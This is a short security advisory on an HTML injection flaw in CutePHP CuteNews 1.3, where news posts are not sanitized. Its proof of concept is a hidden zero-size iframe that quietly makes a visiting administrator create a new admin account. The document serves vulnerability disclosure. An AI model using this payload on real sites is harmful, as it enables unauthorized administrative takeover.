CutePHP CuteNews HTML Injection Vulnerability

BID:8060

Info

CutePHP CuteNews HTML Injection Vulnerability

Bugtraq ID: 8060
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Jun 29 2003 12:00AM
Updated: Jun 29 2003 12:00AM
Credit: Discovery of this vulnerability credited to Peter Winter-Smith.
Vulnerable: CutePHP CuteNews 1.3
Not Vulnerable:

Discussion

CutePHP CuteNews HTML Injection Vulnerability

CutePHP is prone to HTML injection attacks. The vulnerability exists due to insufficient sanitization of user-supplied input. Specifically, user-supplied input to news posts are not sufficiently sanitized of malicious HTML code.

Exploit / POC

CutePHP CuteNews HTML Injection Vulnerability

The following proof of concept will result in the creation of a user account with administrative privileges:

<iframe src="index.php?regusername=owned&regpassword= pass&regnickname=owned&regemail=nonenone.com&reglevel= 1&action=adduser&mod=editusers" height=0 width=0 frameborder=0 scrolling=0></iframe>

References

CutePHP CuteNews HTML Injection Vulnerability

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